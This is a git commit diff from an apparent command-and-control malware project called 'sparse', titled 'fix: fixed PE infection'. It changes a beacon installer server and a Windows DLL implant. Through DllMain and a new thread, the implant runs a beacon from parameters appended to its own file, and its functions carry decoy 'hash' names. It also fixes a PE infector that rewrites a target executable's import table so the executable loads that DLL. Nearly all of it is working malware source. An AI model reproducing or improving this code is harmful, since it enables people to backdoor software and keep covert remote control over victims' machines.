fix: fixed PE infection

This commit is contained in:
Andrew Rioux 2025-02-19 22:40:39 -05:00
parent d823603054
commit 005048f1ce
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
10 changed files with 118 additions and 92 deletions

View File

@ -41,6 +41,9 @@ where
} }
fn call(&mut self, _: Uri) -> Self::Future { fn call(&mut self, _: Uri) -> Self::Future {
if cfg!(debug_assertions) {
println!("Connecting!");
}
Box::pin({ Box::pin({
let adapter = self.adapter.clone(); let adapter = self.adapter.clone();
let params = self.parameters.clone(); let params = self.parameters.clone();

View File

@ -3,26 +3,12 @@ pub mod user;
#[cfg(feature = "ssr")] #[cfg(feature = "ssr")]
pub fn get_db() -> Result<sqlx::SqlitePool, leptos::prelude::ServerFnError> { pub fn get_db() -> Result<sqlx::SqlitePool, leptos::prelude::ServerFnError> {
let owner = leptos::prelude::Owner::current().unwrap();
tracing::debug!(
"Getting DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}",
owner.debug_id(),
owner.ancestry(),
std::any::TypeId::of::<sqlx::SqlitePool>(),
);
use leptos::{prelude::*, server_fn::error::NoCustomError}; use leptos::{prelude::*, server_fn::error::NoCustomError};
match use_context::<sqlx::SqlitePool>() { match use_context::<sqlx::SqlitePool>() {
Some(v) => { Some(v) => Ok(v),
tracing::debug!("Got db pool!"); None => Err(ServerFnError::<NoCustomError>::ServerError(
Ok(v)
}
None => {
tracing::debug!("Didn't get db pool!");
Err(ServerFnError::<NoCustomError>::ServerError(
"Could not use database connection".to_string(), "Could not use database connection".to_string(),
)) )),
}
} }
} }

View File

@ -38,7 +38,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
let path = match btype { let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer", "linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer", "freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer", "windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer.exe",
other => { other => {
return Err(crate::error::Error::Generic(format!( return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}" "unknown beacon type: {other}"
@ -323,10 +323,6 @@ pub async fn serve_web(
db: db.clone(), db: db.clone(),
}; };
println!("{:?}", std::any::TypeId::of::<SqlitePool>());
dbg!(&routes);
let app = Router::new() let app = Router::new()
.route( .route(
"/binaries/installer/:template_id", "/binaries/installer/:template_id",
@ -338,13 +334,6 @@ pub async fn serve_web(
&state, &state,
routes, routes,
move || { move || {
let owner = leptos::prelude::Owner::current().unwrap();
tracing::debug!(
"Providing DB; debug ID: {:?}; ancestry: {:?}; type ID: {:?}",
owner.debug_id(),
owner.ancestry(),
std::any::TypeId::of::<sqlx::SqlitePool>(),
);
provide_context(beacon_listeners.clone()); provide_context(beacon_listeners.clone());
provide_context(db.clone()); provide_context(db.clone());
}, },

View File

@ -17,6 +17,13 @@ use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main] #[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> { async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
#[cfg(target_os = "linux")]
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open("/proc/self/exe")
.await?;
#[cfg(target_os = "freebsd")]
let mut binary_file = tokio::fs::OpenOptions::new() let mut binary_file = tokio::fs::OpenOptions::new()
.read(true) .read(true)
.open(std::env::current_exe()?) .open(std::env::current_exe()?)

View File

@ -11,7 +11,7 @@ anyhow = "1.0.95"
async-trait = "0.1.86" async-trait = "0.1.86"
thiserror = "2.0.11" thiserror = "2.0.11"
tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] } tokio = { version = "1.43.0", features = ["fs", "io-std", "io-util", "rt-multi-thread", "sync"] }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] } windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_Security", "Win32_System_LibraryLoader", "Win32_System_SystemServices", "Win32_System_Threading", "Win32_UI_WindowsAndMessaging", "Win32_UI_WindowsAndMessaging"] }
windows-result = "0.3.0" windows-result = "0.3.0"
windows-strings = "0.3.0" windows-strings = "0.3.0"
winreg = "0.55" winreg = "0.55"

View File

@ -51,7 +51,7 @@ impl BeaconAdapter for WindowsAdapter {
_ = GetAdaptersAddresses( _ = GetAdaptersAddresses(
2, 2,
GET_ADAPTERS_ADDRESSES_FLAGS(0), GAA_FLAG_INCLUDE_GATEWAYS,
None, None,
None, None,
&mut size_pointer as *mut _, &mut size_pointer as *mut _,
@ -67,7 +67,14 @@ impl BeaconAdapter for WindowsAdapter {
&mut size_pointer as *mut _, &mut size_pointer as *mut _,
); );
if err != 0 { println!("Size: {size_pointer}");
println!(
"Raw error: {:?}; {err}",
std::io::Error::last_os_error().raw_os_error()
);
if err != 0 && std::io::Error::last_os_error().raw_os_error() != Some(0) {
println!("Erroring out here! {err}");
Err(std::io::Error::last_os_error())?; Err(std::io::Error::last_os_error())?;
} }

View File

@ -1,57 +1,76 @@
use std::io::SeekFrom; use std::io::SeekFrom;
use tokio::io::{AsyncReadExt, AsyncSeekExt}; use tokio::io::{AsyncReadExt, AsyncSeekExt};
use windows::Win32::{ use windows::{
Foundation::{FreeLibrary, HMODULE, MAX_PATH}, core::*,
Win32::{
Foundation::{CloseHandle, FreeLibrary, HMODULE, MAX_PATH},
System::{ System::{
LibraryLoader::{ LibraryLoader::{
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW, DisableThreadLibraryCalls, GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS, GetModuleFileNameA, GetModuleHandleExW,
}, },
SystemServices::DLL_PROCESS_ATTACH, SystemServices::DLL_PROCESS_ATTACH,
Threading::{CreateThread, Sleep, THREAD_CREATION_FLAGS}
}, },
UI::WindowsAndMessaging::{MessageBoxA, MB_OK},
}
}; };
use sparse_actions::payload_types::{Parameters, XOR_KEY}; use sparse_actions::payload_types::{Parameters, XOR_KEY};
mod adapter; mod adapter;
#[unsafe(no_mangle)] static mut MODULE_FILENAME: [u8; MAX_PATH as usize] = [0u8; MAX_PATH as usize];
pub extern "system" fn DllMain(_: usize, dw_reason: u32, _: usize) -> i32 { static mut MODULE_FILENAME_LEN: u32 = 0;
if dw_reason == DLL_PROCESS_ATTACH {
std::thread::spawn(|| {
std::thread::yield_now();
if let Err(_e) = hash_internals() { #[unsafe(no_mangle)]
// what are we going to do?? pub extern "system" fn DllMain(hmodule: HMODULE, dw_reason: u32, _: usize) -> i32 {
// go to the user and say "malware crashed"? if dw_reason == DLL_PROCESS_ATTACH {
unsafe {
MODULE_FILENAME_LEN = GetModuleFileNameA(Some(hmodule), &mut *&raw mut MODULE_FILENAME);
} }
}); unsafe { let _ = DisableThreadLibraryCalls(hmodule); }
unsafe { allocate_hash_space(); }
} }
1 1
} }
#[unsafe(no_mangle)]
pub unsafe extern "system" fn allocate_hash_space() {
unsafe {
let thr = CreateThread(
None,
0,
Some(prepare_hash),
None,
THREAD_CREATION_FLAGS(0),
None
);
if let Ok(th) = thr {
let _ = CloseHandle(th);
}
}
}
unsafe extern "system" fn prepare_hash(_param: *mut core::ffi::c_void) -> u32 {
unsafe { Sleep(50); }
if let Err(e) = hash_internals() {
if cfg!(debug_assertions) {
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
unsafe {
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
};
}
}
0
}
fn hash_internals() -> std::result::Result<(), std::io::Error> { fn hash_internals() -> std::result::Result<(), std::io::Error> {
let curr_module = HMODULE(std::ptr::null_mut()); let curr_module = HMODULE(std::ptr::null_mut());
let comp_hash = compute_hash as extern "C" fn() -> (); let comp_hash = compute_hash as extern "C" fn() -> ();
if let Err(_) = unsafe { if unsafe { MODULE_FILENAME_LEN } == 0 {
GetModuleHandleExW(
GET_MODULE_HANDLE_EX_FLAG_FROM_ADDRESS,
windows_strings::PCWSTR::from_raw(comp_hash as *const () as *const _),
curr_module.0 as *mut _,
)
} {
return Err(std::io::Error::last_os_error());
}
let mut name = vec![0u8; MAX_PATH as usize];
let name_len = unsafe { GetModuleFileNameA(Some(curr_module), &mut name) as usize };
unsafe {
let _ = FreeLibrary(curr_module);
}
if name_len == 0 {
return Err(std::io::Error::last_os_error()); return Err(std::io::Error::last_os_error());
} }
@ -59,14 +78,15 @@ fn hash_internals() -> std::result::Result<(), std::io::Error> {
.enable_all() .enable_all()
.build()?; .build()?;
rt.block_on(async move { unsafe { hash_stage_2(name[..name_len].to_vec()) }.await })?; let fname = unsafe { MODULE_FILENAME[..MODULE_FILENAME_LEN as usize].to_vec() };
rt.block_on(async move { unsafe { hash_stage_2(fname) }.await })?;
// MessageBoxW(None, w!("Hi!"), w!("There!"), MB_OK);
Ok(()) Ok(())
} }
async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> { async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::Error> {
sparse_beacon::install_rustls();
let mut binary_file = tokio::fs::OpenOptions::new() let mut binary_file = tokio::fs::OpenOptions::new()
.read(true) .read(true)
.open(unsafe { std::str::from_utf8_unchecked(&name) }) .open(unsafe { std::str::from_utf8_unchecked(&name) })
@ -83,10 +103,20 @@ async unsafe fn hash_stage_2(name: Vec<u8>) -> std::result::Result<(), std::io::
} }
let parameters: Parameters = let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) }; unsafe { *(parameters_buffer.as_ptr() as *const Parameters).clone() };
let _ = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await; let err = sparse_beacon::run_beacon_step(adapter::WindowsAdapter, parameters).await;
if let Err(e) = err {
if cfg!(debug_assertions) {
let msg_buffer = [format!("Sparse error: {e:?}").as_bytes(), &[0]].concat();
unsafe {
let _ = MessageBoxA(None, PCSTR::from_raw(msg_buffer.as_ptr()), s!("Sparse error!"), MB_OK);
};
}
}
loop {}
Ok(()) Ok(())
} }

View File

@ -8,6 +8,7 @@ mod adapter;
#[tokio::main] #[tokio::main]
async fn main() -> anyhow::Result<()> { async fn main() -> anyhow::Result<()> {
loop {}
sparse_beacon::install_rustls(); sparse_beacon::install_rustls();
let mut binary_file = tokio::fs::OpenOptions::new() let mut binary_file = tokio::fs::OpenOptions::new()

View File

@ -1,5 +1,5 @@
use std::{ use std::{
io::{Error, prelude::*}, io::{prelude::*, Error},
path::Path, path::Path,
}; };
@ -29,11 +29,7 @@ where
*b = *b ^ (XOR_KEY as u8); *b = *b ^ (XOR_KEY as u8);
} }
for i in 0..(sparse_library.len() - sparse_parameters.len()) { sparse_library.extend(sparse_parameters);
if sparse_library[i..(i + sparse_parameters.len())] == vec![b'B'; sparse_parameters.len()] {
sparse_library[i..(i + sparse_parameters.len())].copy_from_slice(&sparse_parameters);
}
}
std::fs::write(&target_library_path, sparse_library)?; std::fs::write(&target_library_path, sparse_library)?;
@ -111,7 +107,6 @@ where
}; };
struct Section { struct Section {
name: [u8; 8],
section_header_idx: usize, section_header_idx: usize,
data: Vec<u8>, data: Vec<u8>,
} }
@ -124,7 +119,6 @@ where
.iter() .iter()
.enumerate() .enumerate()
.map(|(section_header_idx, sechdr)| Section { .map(|(section_header_idx, sechdr)| Section {
name: sechdr.name.clone(),
section_header_idx, section_header_idx,
data: binary_data[sechdr.raw_data_ptr as usize data: binary_data[sechdr.raw_data_ptr as usize
..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize] ..(sechdr.raw_data_ptr + sechdr.raw_data_size) as usize]
@ -135,7 +129,7 @@ where
// modify the PE // modify the PE
let Some(import_table_section_idx) = section_headers.iter().position(|section| { let Some(import_table_section_idx) = section_headers.iter().position(|section| {
(section.raw_data_ptr..(section.raw_data_ptr + section.raw_data_size)) (section.virtual_address..(section.virtual_address + section.virtual_size))
.contains(&optional_header.import_table.virtual_address) .contains(&optional_header.import_table.virtual_address)
}) else { }) else {
eprintln!("Could not find section with import table"); eprintln!("Could not find section with import table");
@ -147,9 +141,17 @@ where
std::str::from_utf8(&section_headers[import_table_section_idx].name) std::str::from_utf8(&section_headers[import_table_section_idx].name)
); );
let start_index = optional_header.import_table.virtual_address let start_index = section_headers
- section_headers[import_table_section_idx].virtual_address .iter()
+ section_headers[import_table_section_idx].raw_data_ptr; .find_map(|sh| {
(sh.virtual_address..(sh.virtual_address + sh.virtual_size))
.contains(&optional_header.import_table.virtual_address)
.then_some(
optional_header.import_table.virtual_address - sh.virtual_address
+ sh.raw_data_ptr,
)
})
.unwrap_or(optional_header.import_table.virtual_address);
let import_descriptors: *const ImportDescriptor = let import_descriptors: *const ImportDescriptor =
unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ }; unsafe { binary_data.as_ptr().offset(start_index as isize) as *const _ };
@ -256,7 +258,6 @@ where
.to_vec(); .to_vec();
let mut import_section = Section { let mut import_section = Section {
name: *b".import\0",
section_header_idx: section_headers.len() - 1, section_header_idx: section_headers.len() - 1,
data: vec![], data: vec![],
}; };
@ -306,13 +307,16 @@ where
import_section.data.push(0x00); import_section.data.push(0x00);
let lib_func_name_offset = import_section.data.len(); let lib_func_name_offset = import_section.data.len();
let linked_function = b"allocate_hash_space";
import_section.data.push(0x02); import_section.data.push(0x02);
import_section.data.push(0x00); import_section.data.push(0x00);
import_section.data.extend(b"compute_hash"); import_section.data.extend(linked_function);
import_section import_section.data.extend(&vec![
.data 0u8;
.extend(&vec![0u8; 256 - (file_name.len() + 15)]); 256 - (file_name.len() + linked_function.len() + 3)
]);
import_section.data.extend(&vec![ import_section.data.extend(&vec![
0u8; 0u8;

View File

@ -22,10 +22,9 @@ fn exec_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer()); try std.compress.gzip.decompress(gzipped_exe_stream.reader(), exe_file.writer());
var params_buffer: [@sizeOf(Parameters) + 1]u8 = undefined; var params_buffer: [@sizeOf(Parameters)]u8 = undefined;
const params_input_ptr: [*]u8 = @ptrCast(parameters); const params_input_ptr: [*]u8 = @ptrCast(parameters);
@memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr); @memcpy(params_buffer[0..@sizeOf(Parameters)], params_input_ptr);
params_buffer[@sizeOf(Parameters)] = 0;
try exe_file.writer().writeAll(&params_buffer); try exe_file.writer().writeAll(&params_buffer);